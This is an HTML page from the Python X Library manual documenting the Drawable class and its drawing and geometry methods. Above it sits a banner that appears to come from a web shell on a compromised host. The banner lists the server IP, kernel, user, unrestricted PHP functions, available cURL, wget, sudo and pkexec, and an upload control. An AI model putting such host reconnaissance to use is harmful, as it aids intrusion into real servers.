| Server IP : 93.86.61.54 / Your IP : 216.73.216.60 Web Server : Apache/2.4.62 (Ubuntu) System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 User : www-data ( 33) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/python3-xlib/html/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<!-- Created by GNU Texinfo 6.7, http://www.gnu.org/software/texinfo/ -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Drawable (The Python X Library)</title>
<meta name="description" content="Drawable (The Python X Library)">
<meta name="keywords" content="Drawable (The Python X Library)">
<meta name="resource-type" content="document">
<meta name="distribution" content="global">
<meta name="Generator" content="makeinfo">
<link href="index.html" rel="start" title="Top">
<link href="index.html#SEC_Contents" rel="contents" title="Table of Contents">
<link href="X-Objects.html" rel="up" title="X Objects">
<link href="Window.html" rel="next" title="Window">
<link href="Cursor.html" rel="prev" title="Cursor">
<style type="text/css">
<!--
a.summary-letter {text-decoration: none}
blockquote.indentedblock {margin-right: 0em}
div.display {margin-left: 3.2em}
div.example {margin-left: 3.2em}
div.lisp {margin-left: 3.2em}
kbd {font-style: oblique}
pre.display {font-family: inherit}
pre.format {font-family: inherit}
pre.menu-comment {font-family: serif}
pre.menu-preformatted {font-family: serif}
span.nolinebreak {white-space: nowrap}
span.roman {font-family: initial; font-weight: normal}
span.sansserif {font-family: sans-serif; font-weight: normal}
ul.no-bullet {list-style: none}
-->
</style>
</head>
<body lang="en">
<span id="Drawable"></span><div class="header">
<p>
Next: <a href="Window.html" accesskey="n" rel="next">Window</a>, Previous: <a href="Cursor.html" accesskey="p" rel="prev">Cursor</a>, Up: <a href="X-Objects.html" accesskey="u" rel="up">X Objects</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>]</p>
</div>
<hr>
<span id="Drawable-1"></span><h3 class="section">6.5 Drawable</h3>
<p><code>Drawable</code> is a base class of <code>Window</code> and <code>Pixmap</code>
objects. See <a href="Window.html">Window</a>, and <a href="Pixmap.html">Pixmap</a>.
</p>
<p>See <a href="Resource.html">Resource</a>, for additional methods.
</p>
<dl>
<dt id="index-get_005fgeometry-on-Drawable">Method on Drawable: <strong>get_geometry</strong> <em>( )</em></dt>
<dd><p>Returns
Window(’root’),
Int16(’x’),
Int16(’y’),
Card16(’width’),
Card16(’height’),
Card16(’border_width’),
</p></dd></dl>
<dl>
<dt id="index-create_005fpixmap-on-Drawable">Method on Drawable: <strong>create_pixmap</strong> <em>( width, height, depth )</em></dt>
<dd><p>Returns Pixmap.
</p></dd></dl>
<dl>
<dt id="index-create_005fgc-on-Drawable">Method on Drawable: <strong>create_gc</strong> <em>( **keys )</em></dt>
<dd><p>Returns GC.
</p></dd></dl>
<dl>
<dt id="index-copy_005farea-on-Drawable">Method on Drawable: <strong>copy_area</strong> <em>( gc, src_drawable, src_x, src_y, width, height, dst_x, dst_y, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-copy_005fplane-on-Drawable">Method on Drawable: <strong>copy_plane</strong> <em>( gc, src_drawable, src_x, src_y, width, height, dst_x, dst_y, bit_plane, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005fpoint-on-Drawable">Method on Drawable: <strong>poly_point</strong> <em>( gc, coord_mode, points, onerror = None )</em></dt>
</dl>
<p>request.PolyPoint(display = self.display,
onerror = onerror,
coord_mode = coord_mode,
drawable = self.id,
gc = gc,
points = points)
</p>
<dl>
<dt id="index-point-on-Drawable">Method on Drawable: <strong>point</strong> <em>( gc, x, y, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005fline-on-Drawable">Method on Drawable: <strong>poly_line</strong> <em>( gc, coord_mode, points, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-line-on-Drawable">Method on Drawable: <strong>line</strong> <em>( gc, x1, y1, x2, y2, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005fsegment-on-Drawable">Method on Drawable: <strong>poly_segment</strong> <em>( gc, segments, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005frectangle-on-Drawable">Method on Drawable: <strong>poly_rectangle</strong> <em>( gc, rectangles, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-rectangle-on-Drawable">Method on Drawable: <strong>rectangle</strong> <em>( gc, x, y, width, height, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005farc-on-Drawable">Method on Drawable: <strong>poly_arc</strong> <em>( gc, arcs, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-arc-on-Drawable">Method on Drawable: <strong>arc</strong> <em>( gc, x, y, width, height, angle1, angle2, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-fill_005fpoly-on-Drawable">Method on Drawable: <strong>fill_poly</strong> <em>( gc, shape, coord_mode, points, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005ffill_005frectangle-on-Drawable">Method on Drawable: <strong>poly_fill_rectangle</strong> <em>( gc, rectangles, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-fill_005frectangle-on-Drawable">Method on Drawable: <strong>fill_rectangle</strong> <em>( gc, x, y, width, height, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005ffill_005farc-on-Drawable">Method on Drawable: <strong>poly_fill_arc</strong> <em>( gc, arcs, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-fill_005farc-on-Drawable">Method on Drawable: <strong>fill_arc</strong> <em>( gc, x, y, width, height, angle1, angle2, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-put_005fimage-on-Drawable">Method on Drawable: <strong>put_image</strong> <em>( )</em></dt>
<dd><p>Not implemented yet.
</p></dd></dl>
<dl>
<dt id="index-get_005fimage-on-Drawable">Method on Drawable: <strong>get_image</strong> <em>( )</em></dt>
<dd><p>Not implemented yet.
</p></dd></dl>
<dl>
<dt id="index-draw_005ftext-on-Drawable">Method on Drawable: <strong>draw_text</strong> <em>( gc, x, y, text, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005ftext-on-Drawable">Method on Drawable: <strong>poly_text</strong> <em>( gc, x, y, items, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-poly_005ftext_005f16-on-Drawable">Method on Drawable: <strong>poly_text_16</strong> <em>( gc, x, y, items, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-image_005ftext-on-Drawable">Method on Drawable: <strong>image_text</strong> <em>( gc, x, y, string, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-image_005ftext_005f16-on-Drawable">Method on Drawable: <strong>image_text_16</strong> <em>( gc, x, y, string, onerror = None )</em></dt>
</dl>
<dl>
<dt id="index-query_005fbest_005fsize-on-Drawable">Method on Drawable: <strong>query_best_size</strong> <em>( item_class, width, height )</em></dt>
<dd><p>Returns
Card16(’width’),
Card16(’height’),
</p></dd></dl>
<hr>
<div class="header">
<p>
Next: <a href="Window.html" accesskey="n" rel="next">Window</a>, Previous: <a href="Cursor.html" accesskey="p" rel="prev">Cursor</a>, Up: <a href="X-Objects.html" accesskey="u" rel="up">X Objects</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>]</p>
</div>
</body>
</html>